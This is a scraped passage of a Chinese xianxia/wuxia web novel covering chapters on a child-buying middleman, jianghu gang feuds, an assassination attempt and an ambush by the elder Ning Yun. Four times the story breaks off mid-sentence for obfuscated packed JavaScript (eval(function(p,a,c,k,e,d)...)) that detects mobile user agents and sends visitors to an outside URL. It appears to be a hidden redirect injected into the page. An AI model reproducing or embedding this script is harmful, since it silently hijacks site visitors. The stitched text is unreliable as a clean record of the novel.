RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436215|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,发现整个客栈里有股魔气。” “魔气?为什么会这样?” “这就不知道了,不过那股魔气会招来鬼怪,所以就导致了闹鬼。然后我就大发善心,用火把那魔气烧没了,之后客栈应该就不会再这样闹鬼了。”沈临澄看向崔羽落,“对了,刚刚说了我的事,你呢,离开地牢之后又去了哪里啊?” 崔羽落有些迟疑地说:“我……和人成婚了。” 沈临澄“啊”了一声,笑道:“很好啊,是你……喜欢的人么?” 崔羽落张了张口,却没有回答。 沈临澄看着她:“你不喜欢他?是……其他人强迫你成婚?你不愿意的话,那就跑吧,可以和我一起浪迹江湖啊!” 崔羽落道:“也……没有人强迫我成婚,我其实还是愿意的。” “那是怎么回事?” 崔羽落讲述了先前的经历,沈临澄听罢,笑道:“那可真是还不错!只是挂个夫妻的名分,还能拿到那么多钱,还有修炼的法宝什么的,真的很好啊!” “是还不错。” 沈临澄问道:“不过,妹妹可愿意告诉我他是何人呢?” 两人到了崔羽落和慕惊弦在客栈中的房间,却见门内空无一人,窗户大开着,像是有人从中跳了出去。 “不太妙,我的那位夫君不见了。” 沈临澄同样神情凝重:“先前自称是我夫君的那人也不见了,真是奇怪,他说去偷糕点,但我们方才经过那家店,周围没有人啊?” “说不定是被人抓住了呢,走,找找。” “怎么找?观察一下地上的脚印么?”沈临澄蹲下/身,“好像没有什么脚印。” 崔羽落想起前一日房间内误打误撞的“双修”,便尝试运起灵气。 不知是不是先前与慕惊弦的灵脉建立了联系的缘故,周遭的淡淡灵气竟缓缓向某个方向流泻了过去,而体内的灵气与外界相感相应,像是产生了一种奇特的指引,要让她往那个方向去。 她欢喜地笑道:“我好像知道了。” 沈临澄抬头:“什么?知道你那个挂名夫君去哪了吗?” “是的。” 沈临澄站起身,思索道:“我听说若是经常双修,二人的灵脉便会建立起某种羁绊,从而能隐隐感应到对方的位置。你和他双修过了?” “嗯……算是有一次吧,但我俩没有经常双修啊!” “那我也不是很明白,走吧。” 二人顺着感应到了一扇破败的木门前面,看到了两个人。 其中一人跪坐在地,身体有些僵硬,脸上却溢满了劫后余生的喜悦。 另一人蹲在他身前,脸色很差。听到二人的脚步声,略微侧身,转头看向二人。 那跪坐在地的人看到沈临澄,惊喜不已:“你你你……你见我许久未归,特意来寻我,我实在——” 沈临澄却皱眉打断了他:“闭嘴。” 而后她看向慕惊弦:“怎么是你?” 崔羽落看看沈临澄,又看看慕惊弦,有些困惑:“你俩……认识?” 慕惊弦沉默片刻,平静道:“你认识我?” 15. 交易 沈临澄道:“是啊,我认识你,你不认识我,这很正常。” 崔羽落问道:“你怎么认识他的啊?” “他很有名啊,天之骄子,术法奇才,横苍长老的徒弟。我很久以前就听说过他的名字,见过他的画像,今天居然见到本人了,”沈临澄忽然想到了什么,“不对。” “什么不对?” 沈临澄瞪大眼睛看着他俩:“你所说的夫君,不会就是他吧?” “是……是的。” 沈临澄恍然大悟道:“仙门传言,仙魔大战后,他隐居山林,看来是真的了。” 慕惊弦波澜不惊道:“不然呢?难不成是被什么妖魔鬼怪抓了去么?” 崔羽落却有些疑惑。 果然,沈临澄问道:“这么说,仙魔大战中,受了重伤的,不是什么别的弟子,而就是你本人?” 慕惊弦顿了顿,缓缓站起身,神情像是有些不解:“对了,仙魔大战——是什么?” 崔羽落:“……” 沈临澄:“……” 三人让那男子走在前面,一同向客栈走去。 沈临澄问道:“你为什么要隐居?我觉得你师尊人挺好啊?” 慕惊弦答道:“是么?不过我隐居,和他人好不好,没有关系。” “那是因为什么?” “是因为我自己,人不太好了。” 沈临澄“啊”了一声,继续问:“为什么不太好了?玄昭的医修不是有很多吗?你身体有什么不适都可以找他们看看的啊。” “不是身体不适。” “可是……你看上去确实身体不太好的样子啊?” “是么?”慕惊弦顿了顿,“那就是我记错了,的确是身体不适。” 沈临澄噎了一下,转头问崔羽落:“你们这次来玄昭附近,是为了什么事啊?” 崔羽落答道:“听说玄昭的郑夫人失踪了,于是来附近看看情况。” “什么?她失踪了?” “你不知道么?” “是啊,我最近一直在外面。”沈临澄问道,“她失踪多久了?” “就这一两天吧。”崔羽落忽然有些疑惑,“才一两天而已,说不定她只是去周围转转了呢,为何就用上了‘失踪’这个词?” 慕惊弦插话道:“因为她,偶尔会疯疯癫癫的,所以若是没人知道她的行踪,她自己又不甚清醒,就容易很久都找不到她。” 崔羽落道:“原来如此,那我们得尽快寻找了。” 沈临澄补充道:“先前我在玄昭待了几天,只见过她一次,似乎是……她平常不怎么离开房间。不过既然我没有得到消息,那大概知道的人不多。” 慕惊弦凉凉地说道:“宋有林不会让很多人知道的。” 崔羽落道:“那是谁?” “玄昭的掌门。” 崔羽落“哦”了一声,而后想了想,说:“既然如此,我们今夜尽快把这个人解决了,然后稍作休息,明日便开始寻找吧。” 前方的男子听到“解决”二字,双目圆睁:“解解解……解决?” 几人到了“如家客栈”的牌子下,沈临澄忽然想到什么:“对了,我的糕点呢?” 男子答道:“没没没、没偷到。” 沈临澄瞪大眼睛:“没偷到?你这么久不回来,我还以为你把店里的东西全包起来了呢!” 崔羽落问道:“那你去做什么了?通风报信?” 慕惊弦问道:“你不是说你翻窗进去偷了一些么?” 男子看着三人,十分紧张地说:“我都交代,我都交代!我确实不是去偷糕点的!” 四人上了楼,在房间内坐下,男子在另外三人不甚友善的目光中,磕磕绊绊地交代了自己做过的事情。 “我叫张束,只是一个普通人,之前一直在饭店打杂。直到有一天,有一个吃饭的客人问我,想不想要更多的钱。” “我当然想啊,我家里还有母亲妻儿,打杂赚的钱太少了,又不稳定,光靠我一个人的话,我们几个人很容易吃了上顿没下顿。我内人虽会做一些针线活,但是我们的孩儿年幼贪玩,在家中做这些不太方便。” “但是天上哪有掉馅饼的事情呢,我就问他,是不是赌/钱之类的事情,这种事情我可不想干。然后那人说,不是那种,而是正当买卖。” 崔羽落大为震惊:“拐卖/人口,是正当买卖?” 张束叹了口气道:“姑娘,你们是修仙之人,对我们这边的情况了解得不多,何况我们也没有拐卖。” “没有拐卖?” “我们给他们的家里人给钱了,这样把他们买了下来,再卖去其他地方,整个过程也没有把人拐走骗走吧。” 崔羽落垂眼不语,继续听他讲述。 “有些人家可能生的孩子多,但又没什么钱,养不起那么多人。所以他们就会想着把人卖出去,自己还能得到一些钱,而且这笔钱可能比他们累死累活地操劳大半年能赚到的还多,这……也是你情我愿的啊。” 崔羽落听到沈临澄问了句“但那些被买卖的人呢”,仍然垂眼看着桌面,有些走神。 她忽然想:我在学校里被车撞死了,家里人应该能得到一大笔赔偿款吧? ——也不知道能赔多少钱,但肯定不少,够他们好好地过很久了。 她无声地笑了笑。 张束继续说:“那也没有办法啊,时也命也,要是投胎前能选,谁不想生在一个有钱有权的家里呢?他们没法选,我也没法选啊!” 沈临澄道:“你怎么就没法选了?你明明可以去干点别的事情来养活你的家人,而不是干这种事!” 慕惊弦看了看崔羽落,又转向张束:“那你说说你遇到那个人之后又发生了什么吧。” “然后我就去了呗,他让我做什么,我就做什么,”张束道,“他让我做的,就是去一些看上去孩子很多又没什么钱的家里,然后把人买下来,再去把人带到一个地方,这些做完了,我就再去找下一个能买的人。” 慕惊弦问道:“你做了很久?” “没有很久,不到一年。那个人和我说,我一个月少说得买下三十个,不然就不给我钱。而且就算达到了这个数字,给的钱也不多,只有在和我做同样事情的人里面,一个月做成的交易数排进前三,才能拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444720|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到更多的钱。但有时候跑很久也找不到买家,所以……几位仙君,我知道我有罪,但是能不能放过我,不要杀我啊!我还有一家老小在等着我养活呢!” 慕惊弦看了看他,脸上没什么表情:“那个人是谁?” “仙君,求求你,放过我吧!我要是告诉你了,那、那位肯定不会放过我和我的家人的!” 慕惊弦笑了笑:“那位?你的家人现在何处?只要你告诉我们,我们定会替你安顿好他们。” 沈临澄问道:“是啊!你知道那个人的名字么?他长什么模样?” “他、他……” 张束却结结巴巴,说不出口。 疾风乍起,许多支挟着杀机的箭矢破窗而入。 沈临澄抬手将箭矢尽数击落。但在另一个方向,却有一黑衣人骤然落地,手持长剑,向其余三人劈砍而来。 原本在发呆的崔羽落经此变数,顿时清醒。她余光扫见面色不佳的慕惊弦和一脸惊恐的张束,身形一晃,便已至来人后背空门。 但她并不是要趁此发动进攻。 她伸手握住放在一旁的刀柄,抽刀斜劈向那人颈侧。 但那人毫无反应,手中长剑直直刺向张束。竟是铁了心要灭口! 她撤刀的同时身形急旋,借此力道踹向此人侧腰。同时刀锋在空中悠然划过,落入她另一只手。 刀脱手而出,直击那将要落在张束胸口的剑锋。 与此同时,慕惊弦伸出一只手,于电光石火间点向剑身。 张束闭上了眼,预想中的刺痛却迟迟不到。他胆战心惊地睁眼,看到攻击者已被人踹到几丈远,而那柄剑被人击飞,落在房间另一侧。 崔羽落看向沈临澄那边,却见那些不知从何而来的射手已不见了踪影。兔起鹘落间,一切已尘埃落定。 她看向张束,正准备问些什么,却见他的身体发生了变化。 一股紫黑色的灵气倏然流转,下一瞬张束已消失不见。 “他还是被灭口了么?” 沈临澄沉吟道:“我觉得应该不是。应该是被人用什么方法瞬间移到了其它地方。” 崔羽落走向被踹飞的黑衣人,却见他唇舌微微一动。 她极快地伸手捏住了他的脸颊,笑道:“咬舌自尽?其实我见过很多了。” 沈临澄疑惑道:“见过很多?” 崔羽落用另一只手击晕了此人,回答道:“那些话本上不是总是会写,这种刺客会时刻在口中含着一些毒性猛烈的毒药,若是任务失败,便能立即自尽,这样就能免受拷打逼问之苦。” 沈临澄点点头:“原来如此,我小时候不爱念书,话本也不看。听你这么说,话本好像还挺有趣的,我之后也多看看去。” 二人回到桌前坐下,崔羽落才发现慕惊弦的袖口上有一片血迹。 “这是怎么弄的?” “你刚才误伤的。” “啊?那真是——” “不好意思”还未说出口,窗外传来一声凄厉的呼叫,但又像是被人捂住了嘴,叫声戛然而止。 崔羽落提起沾了血迹的刀:“走!路见不平拔刀相助!” 16. 江湖 沈临澄率先跃了下去。 崔羽落在窗户前悬崖勒马。 ——沈临澄有几年功力,她只是个普通人啊。 她转头看了一眼坐在桌边的慕惊弦:“你不一起么?” 慕惊弦站起身:“你想要我去么?” 崔羽落还没回答,慕惊弦已握住她的手腕,带着她从窗中跃了下去。 两人到了街上,却见四周空荡荡。忽然有一个细小的黑影从远处弹了过来,崔羽落定睛一看,发现是一粒小石子。 她向着石子飞来的地方行去,果然看到沈临澄在一个小巷内靠墙而立,她身边则是一个少女。 看到二人过来,那少女也转了过来看向二人。这时崔羽落才发现这少女十分眼熟,正是先前在那起火的客栈中,沈临澄易容成的那年轻女子! 崔羽落环视四周,发现并无旁人,但想起方才的惊叫声,心想着周围恐怕情况不妙,便用气声问道:“刚才是怎么回事?” 沈临澄同样用耳语的声音回答:“我也不知道。” 一旁的少女怯生生地说:“你们看——” 三人顺着她手指的方向看去,看到在不远处的树下,是一具血肉模糊的尸体。 崔羽落迅速扭回了脑袋,觉得头皮发麻,轻声问道:“就只有这个了吗?” 少女犹豫片刻,答道:“还有别的,你看那边——” 崔羽落深吸一口气:“算了,不是很想看。” 沈临澄低声问道:“这是怎么回事?除了那个客栈,难道这个镇子上的其它地方也闹鬼?” 慕惊弦低声插话道:“应该不是闹鬼,你们仔细看看那尸体,看上去像人为。” 崔羽落皱了皱眉:“人为?江湖仇杀?灭门惨案?” 慕惊弦摇了摇头:“这个我看不太出来。” 沈临澄则看向那少女:“不对啊,昨天不是让你走了吗,怎么又回到这里了?” 少女挠了挠头:“我爹娘把我卖了出去,我……” 崔羽落道:“你不愿回去了么?” 少女点点头,犹豫了片刻,又道:“嗯。但是我又不知道要去哪里,然后就偷偷跟着你们,到了这附近。” “那你白天在哪里?” “白天我在一个酒肆坐着,天黑之后他们就关门了,我便出来了。” 沈临澄问道:“为何不去客栈?先前我给你的盘缠……莫非是,被人偷走了?” 少女忙道:“没有没有,我只是——” 她的声音戛然而止。 与此同时,有一个雄壮男子的声音离四人越来越近,伴随着十几个人的脚步声与兵器碰撞声,气势汹汹地逼近几人。 “看看那边还有没有清龙帮的活口!” 崔羽落心道:果真是江湖仇杀。 脚步声更近了,少女攥着沈临澄的衣袖,神色十分紧张。 沈临澄压低声音道:“分头跑。” 随后拉着那少女,二人一齐顺着巷子离开,随后一个起落,两人的身影便消失在围墙之后。 但两人的脚步声吸引了那伙江湖人的注意,一声“那边”后,急促的脚步声直逼二人。 崔羽落看着不动如山的慕惊弦,压低声音问:“不跑么?” 慕惊弦低声答道:“身正不怕影子斜,君子动口不动手。” 几个壮汉已占据了二人的视线,其中一人手持朴刀,面容凶悍:“清龙帮的人?” 崔羽落答道:“不是。” 朴刀划过地面:“那你们在这里做什么?” 另一人前行一步:“说那么多废话做什么?大半夜的出现在这条街上,显然就是清龙帮的狗贼!” 慕惊弦低低笑了笑,平静道:“月黑风高,孤男寡女,你说我们在做什么?” 提刀的那人粗声粗气道:“做什么?” 慕惊弦一本正经道:“偷情。” 崔羽落瞥了他一眼,看向那男子,配合道:“确实如此。” 男子笑了笑,退后两步。 周围人也跟着退后了几步。 崔羽落正准备松一口气,那为首的男子却忽然提刀向前。刀光划过夜色,其上挟带的血腥味扑面而来。 她心下一惊,摇身闪向一侧,那刀锋堪堪自身边砸落地面。 慕惊弦的声音在身后响起:“这是何意?” 男子凶狠地盯着二人:“半夜偷情,还提着把带血的刀?怎么,你俩合伙把谁的情人砍死了?” 崔羽落答道:“是啊。” 男子道:“那你俩真是——” 又一刀劈面而来,崔羽落后退几步,避开了将要把自己劈成两半的大刀。 “真是什么?” “一对心狠手辣的狗男女。”男子站稳脚步,冷笑一声,“糊弄鬼呢。一起上,杀了他们!” 崔羽落扯了扯嘴角:“怎么办,我不想杀人啊。” 慕惊弦低声道:“那就不杀。” 崔羽落活动了一下手腕:“可是刀剑无眼——” 话音未落,已有几人执刃而上。崔羽落挥刀格挡下其中几柄剑,被挡下的几人均后退数步。 崔羽落心想:可是我没怎么用力啊? 慕惊弦的声音自远处响起:“高手过招,我等手无寸铁之人便不参与了。” 她恍然大悟。 ——前一日他俩跋涉几万步,活力值远超标准值,她现在处于开挂状态。 刀锋袭面而来,她并不挥刀迎击。而是屈膝矮身,灵巧地自来人臂膊下穿过,同时抬手成掌,于那人的后颈劈落。 那人失去意识,瘫倒在地。 一波未平一波又起,另一把裹挟着杀机的刀已然横扫而来,待那人压近,崔羽落忽然抬肘,猛然重击向来人胸口。 她在杀机中闪避,在刀光中出手,像一柄灵动而无匹的刀锋。 地上躺了十几个人,均为那伙气势汹汹的江湖人。 崔羽落握刀侧立,目光沉静。 还剩两人。 那两人却维持着起手式,不动不响,静静酝酿着攻势。 慕惊弦的声音再次自远处传来:“果真厉害。” 二人忽然动了。 崔羽落后退了半步。 下一瞬,两人几乎同时倒了地。 慕惊弦坐在远处死了人的那棵树上,两条腿一晃一晃。 崔羽落前行两步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449568|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾起方才丢出去砸人的刀,走到那棵树下:“看戏呢?” 慕惊弦跳下树:“也……不算吧。” “那你一直坐着,可不就是看戏么?” “高手过招,乱插手容易被误伤。”慕惊弦顿了顿,“何况我身体虚弱,本就不适合与人打斗。” “你不是修炼之人么?可以用点……小法术把他们打晕过去啊?” “是么?方才情状危机,我过于紧张,未能想起。” “……”崔羽落挪开目光,却无意中瞥见树下那具尸体,忍不住皱了皱眉,转过了脸,“走吧,我们去找找她俩。” 二人并肩而行,慕惊弦问道:“你先前……学过武功?” “没有,除了之前给你演示的那套拳。” 慕惊弦不解道:“给我演示的那套拳?” “就是弓步冲拳的那个。” “哦。”慕惊弦沉默了片刻,“这套拳好用么?” “好用?”崔羽落瞪大眼睛,“我不知道啊,我也没有用这个跟人打过架呢。” “那你方才用的最后一招是什么?” 崔羽落回想了一下:“打晕最后一个人的那个?也不算什么招式,就是同时用两只手掌击对方的耳根。” 慕惊弦好奇道:“你从哪里学会的这一招?” 崔羽落答道:“话本。我小时候看过的一个话本上,里面一个很厉害的人,就用这招打晕了另一个也很厉害但不服他的人。” “那……那个也很厉害的人后来服他了么?” 崔羽落仔细想了想:“我记得……经过这么一下,好像是服了吧。” 慕惊弦偏头看着她:“那这个人先前为什么不服他?” 崔羽落组织了一下语言,解释道:“因为这个人很厉害,而且性格比较……爱憎分明?总之就是没有什么心眼,有什么想法就挂在脸上。而另一个人也很厉害,又一直比较……嗯,骄傲吧。但他俩又是同一个人的手下,时不时就能看见对方。这样的两个人,听上去就容易不太对付,是吧?” 慕惊弦思考了片刻,回道:“确实,两个相似又骄傲的人,确实容易不服对方。” “是啊,但他俩也不是那种很小心眼的人,所以一个人输给另一个人,也不会觉得特别难堪什么的,反而让这两个人熟悉了起来呢。” 慕惊弦默了默,问道:“那这两个人后来呢?帮着他们的主公,一起打下江山,一统天下了么?然后再封侯拜相,声名远扬?” 崔羽落叹了口气:“不是。那个更厉害的人,后来被坏人害了。万箭穿心而死,死在一片沼泽地里。他的妻儿还在家里等他回去呢。” “那确实很可惜。” 两人忽然陷入沉默。脚步声回荡在巷子里,有些寂寥。 拐过一个弯,沈临澄和那少女便在不远处。 看到了他们,沈临澄挥了挥手:“你们终于到了!我还以为你们被那些人抓住了,差点就要去找你们了呢。” 崔羽落向前走了两步,忽然发现慕惊弦没动。 她侧过头,却与他刚好对视。 慕惊弦看着她,轻声道:“被万箭穿心的那个人……不会是姓罗吧?” 17. 出手 崔羽落想了想:“好像是的。” 随后她有些惊讶地看着慕惊弦,语气很意外地说:“想不到你平常也会看这种话本啊。” “……是啊。” 沈临澄看着走近的二人道:“走吧,我们先去你们那个客栈。” 几人向方才的客栈走去。 崔羽落看向那少女:“你叫什么名字啊?” 少女回答道:“白渟。” “嗯……是亭亭玉立的亭么?” “不是,是旁边还有个三点水的渟。”少女解释道,“我最开始是那个字,但后来好像是我爹娘找了个算命的人看,说这个字不好,就换了个字。” “原来是这样啊。”崔羽落虽然不甚相信这些,但仍表示肯定。 “巧了不是,我爹找人来看我的生辰八字,说我命里缺水,所以叫这个名字。”沈临澄转向崔羽落,推测道,“你莫非是五行缺木?” 崔羽落摇了摇头:“没有,我……家里人随便取的。” 四人到了客栈门口,却发现原本闭着的大门已然大开,一股浓郁的血腥气从门中传了出来。 崔羽落皱了皱眉:“这……怎么我们离开不久,就成了这样?” 里面传来激烈的打斗声,其中夹杂了几句骂声。 “你们凌霄会的人当真丧心病狂!” “丧心病狂?是你们清龙帮的人羞辱我们在先!” 桌椅轰然倒地,像是被人用浑厚内力一掌震碎。 “羞辱?我们井水不犯河水,何谈刻意羞辱!” “我们总舵主惨死在你们的人手中,真是欺我凌霄会无人了!” “……” 崔羽落听着这些江湖恩怨,低声询问:“要不我们……绕路进去?” 沈临澄道:“走。” 她带着三人从另一个门进了客栈,轻车熟路地找到了老板的房间,找他定了一间房。 四人到了沈临澄定的那间房中,崔羽落问道:“姐姐,你看上去对这些很熟悉的样子。” 沈临澄答道:“是啊,江湖上有一条规矩,不知道你们是否听过。” “什么?” “江湖恩怨一般不波及到开店的,而且这些开客栈的人在面对这些江湖人,也知道不掺和,躲远点。但要是不小心看到了什么不该看的,也会被灭口。”沈临澄想了想,“不过,很多开店的人明着只是个普通人,实际上可能身份武功都不凡。” 崔羽落点了点头:“很晚了,我们也回房间了,早点休息。” 二人回到房间,关上门窗。崔羽落坐在床上,有些好奇地听着外面的声音,心道先前只在武侠小说里看到过江湖仇杀血洗客栈之类的,如今竟然身临其境了。 慕惊弦坐在地铺上,忽然问道:“你觉得有趣么?” “还行。”不假思索地回答完,崔羽落又改口道,“不,打打杀杀的,有什么有趣的。” “但是你常看的话本里,不就是这些东西么?” “话本和现实怎么能一样呢?可能原本不是很有趣的事情,被那些人添油加醋地一写,就变得十分有趣了。实际上一个人因为一个普通的原因杀了另一个人,话本里都能拐上八百个弯,写上大半本书的恩怨情仇爱恨缠绵。” “哦,那你先前说的那个,就是有人被万箭穿心的那个话本,你觉得它有趣么?” “那个啊,”崔羽落看着窗框,“是我很小的时候看的了,当时觉得很有趣。后来……后来没有再看过了,但是想起来还是觉得挺有趣的。” “不就是打打杀杀的么?有什么有趣的?” “打打杀杀?”崔羽落看着他道,“话本里又不只写打打杀杀,还有各种……斗智斗勇、侠骨柔情的东西,比如侠士相逢一见如故、路见不平出手相助。” 一连串踉踉跄跄的脚步声逐渐靠近房门,下一瞬,木门被猝然推开,闪进了一个浑身浴血的身影。 慕惊弦站起身,看着望向门口的崔羽落,低笑道:“坏了,如今路有不平,你可要出手相助呢?” 那人足下不稳,堪堪用武器支撑着身体,抬头看向二人。 崔羽落一惊。 ——居然是个满头白发的女子。 本着走一步算一步的原则,崔羽落扶着那人在桌边坐下,而后问道:“你是何人?” 那人将一口淤血吐在地上,缓缓道:“事已至此,也不瞒着二位了。我乃清龙帮四长老之一,前一日与十余帮众来到此地,其一是我们长途跋涉,且在此歇脚,稍作修整,其二是今夜还有一些帮众会到达此处与我们汇合。” 崔羽落忽然有些后悔。 她这次出门原本是为了与慕惊弦一同寻找郑夫人,如今贸然掺和进了江湖恩怨,若是只有她一人那也好说,但……她一行的还有其他人。倘若因此再被什么人盯上,那……又该如何是好? “不料凌霄会的人提前作了埋伏,在今夜到达的帮众来客栈的必经之路上施行截杀。不仅如此,还有一部分人提前到了客栈附近,在今夜将我们一行人重创。” 崔羽落问道:“他们为什么要这样做?先前我听……他们说凌霄会总舵主惨死在了你们的人手中?” 那人却“呸”了一声:“血口喷人。” 崔羽落又问道:“那——” 话音未落,木门被人从外劈开,又被人一掌击中,随后裹挟着凌厉的内力劈头盖脸地砸向崔羽落。 她本想闪避开,但余光瞥见坐在桌边形容狼狈的女子,便酝起劲力,以掌还击。 门板霎时变了轨迹,猝然调转方向,朝飞来的那边袭去。 但它没有击中谁。 原本位于门口的人已迈动步伐,挺剑向桌边二人突刺而来。 崔羽落心道一句“真是没完没了了”,便抬刀格挡。 两人均被相击的力道震退一步。 来人冷笑一声:“宁云,你也有今日。”随后又是一剑劈落。 崔羽落欲护宁云周全,并不躲避,而是挥刀上挑。而剑锋如行云流水,竟使她有些眼花缭乱。 刀剑相交,人影移动。就在此时,又有几人进了房间,手执兵器,气势汹汹地向宁云袭去。 崔羽落心道一声:这人还真有点麻烦。 然而眼前剑客和余光里的那些袭击者瞬间倒在了地上。 崔羽落垂下刀锋,看着一地神志不清的人,有些茫然。 宁云嗓音沙哑,缓缓道:“多谢二位。” 崔羽落看向一旁盘膝而坐的慕惊弦,见他偏过了头,轻咳了几声。 她转向宁云:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454741|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你接下来有何打算?” 宁云注视了她片刻,道:“姑娘可否再帮我一件事?” “什么?” “我身受重伤,此时上路,若是遇到想杀我的人,怕是难以应对。但此地不宜久留,我曾与帮众说过,若是能活命,便在城外的连波亭相会。” 慕惊弦问道:“那你现在要去么?” 宁云答道:“是。” 他看向崔羽落:“你要去么?” 崔羽落心想,前一日活力值很高,若是遇到什么意外,也不必太担心。 ——实在不行还能氪命呢。 她答道:“那我陪你去。”随后站起身,把刀提在手中。 宁云扶着桌子站起来:“姑娘侠义,我这一介老朽残躯,实在是无以为报……” 崔羽落心想着“可别说来世当牛做马了”,说道:“无妨无妨,路见不平出手相助罢了,不足挂齿。” 正要往门口走,慕惊弦却上前两步:“等等。” 崔羽落转头:“怎么?你也要一起去么?” 慕惊弦带她往房间里面走了走,低声道:“我身体状况不太好,就不和你一起去了。” “我知道啊。” 他转身背对着宁云,抬手结印,一道低调的法咒便倏然隐入崔羽落体内。 崔羽落压低声音,疑惑道:“这是什么?” “一个符咒,你若是有危险,我便能知晓。” “就这样啊?” “我可以知道你在哪里,这样就能赶过去。” 崔羽落想了想,道:“要是能直接传送过来就更好了。” 慕惊弦回道:“其实是可以的,但是我现在灵脉有损,用不出来。” “喔,”崔羽落看了他一眼,向门口走去,“那我走了,你先睡吧。” 二人离开客栈,向着宁云所指的方向一路行去。 一路竟没有遇到拦截之人。 崔羽落看向不远处有些破败的凉亭,问道:“是这里了吧?” 身边人却没有回答。 她正要转头看向她,却觉宁云扶在她小臂上那只枯瘦的手蓦地一动,一股古怪的力道自手腕传入她的经脉,她竟发现自己体内的灵力运行滞涩了起来,似是经脉堵塞,灵力难行。 ——她只道不慎撞见了小说里的江湖仇杀,如今发现,自己又撞上了武侠小说中的“被扣了脉门”! 什么鬼运气。 但她转念一想,自己既有增益,那即使经脉阻塞,也不至于被她就地打死。 便奇异地放松了下去。 宁云原本浑浊疲惫的双眼忽而变得目光炯炯,她狠狠盯着崔羽落,咬牙切齿道:“你当我是傻——” 她的话语被骤然打断,随后她的身躯飞出了崔羽落的视野。 崔羽落心道:真是惊险又刺激。 她有些僵硬地转头,看到了落在远处,已然人事不知的宁云。 “呼”的一声,有人轻飘飘地落在她眼前,她的视野被一袭看不出原本颜色的破旧长衫占据。 她抬眼看见了来人。 是个陌生男子。 此刻,他正笑吟吟地看着崔羽落。 “姑娘,我见你骨骼清奇,不如做我的徒儿,我传你绝世武功,如何?” 18. 怨仇 崔羽落后退一步:“绝世武功?” 那男子笑道:“是啊,先前你在小巷与凌霄会的人打斗,我便知你虽未曾好好学过什么武功,但身形敏捷,出手果断,颇有天赋。” 崔羽落表情复杂,心想:怎么拒绝呢?总不能直接说我有挂吧。 那人很认真地看着她,继续道:“如今一看,姑娘果然是根骨不凡。虽然已经过了练武的最佳年纪,但凭借极佳的天赋,若能勤奋练武,定能在几年内成为顶尖高手。” 崔羽落在此人的炽热目光下,又后退了半步:“阁下是何人?” “噢,瞧我这脑子,见到姑娘太过激动,都忘记介绍自己了。我叫赵之闻,乃当今武林第二高手。姑娘尽管放心,我绝不是招摇撞骗的那种人。” “为何是……第二高手?” 莫非是第一的实力太过恐怖,其他人只能拼死拼活抢一抢第二的位置? 而且自称第二的说不定有好几个人。 就像国内的大学排名一样,五湖四海的人聚在一起,一自我介绍发现全是top3的学生。 赵之闻哈哈一笑:“高处不胜寒啊,与其自称第一,不如谦虚一些,说自己是第二,反正嘛,我称了第二,也没人敢称第一。” 崔羽落扯了扯嘴角,不知道说什么。 赵之闻叹了口气:“我之前一直觉得,这一身绝世武功,寻不到一个可以传下去的人,确是一件憾事。其实江湖上想要成为我徒儿的人有很多,但凡事讲求缘分,我和他们无缘,他们与我这一身武功也无缘。” 崔羽落认真道:“其实,不是前辈与他们无缘,而是前辈不愿与他们有师徒之缘。” “是啊,如今我见到了姑娘,终于觉得这一身武功能传下去了。” 崔羽落深吸一口气:“但是我已有家室,若是再与前辈结为师徒,怕是有些不便。” “无妨无妨,只要姑娘愿意,即使我二人不以师徒相称,我也可以传予你毕生所学。” “那……前辈的武功——” 不远处有一个沙哑的声音突然响起:“你要把《龙泉录》传给她吗?” 崔羽落转头,看到了坐起身的宁云,疑惑道:“那是什么?” 宁云起了身,冷笑几声道:“赵之闻,你不是自称大隐隐于市,只做世外高人,不管江湖事吗?你这又是在做什么?” 赵之闻“咦”了一声道:“我见她根骨不凡,寻思着我这一身武功终于能有个传人,怎么就‘这是在做什么’了?” 宁云指着崔羽落:“你可知此人是谁?” 崔羽落问道:“是谁?” 宁云瞪了她一眼,而后道:“此人在巷子里假扮我清龙帮弟子,又与凌霄会众人打斗,故意挑起争斗,居心叵测!” “嘶……”赵之闻眯了眯眼,“我方才恰好经过,据我所知,是凌霄会的人先动手的啊,她若是不还手,怕是不能站在这里了。至于假扮清龙帮弟子,我可以告诉你,并无此事。” 宁云抬起手上的刀:“别废话,那谁,你到一边去。赵之闻,未曾想到今日能在此遇到你,既然狭路相逢,那便来与我光明正大地一战。” 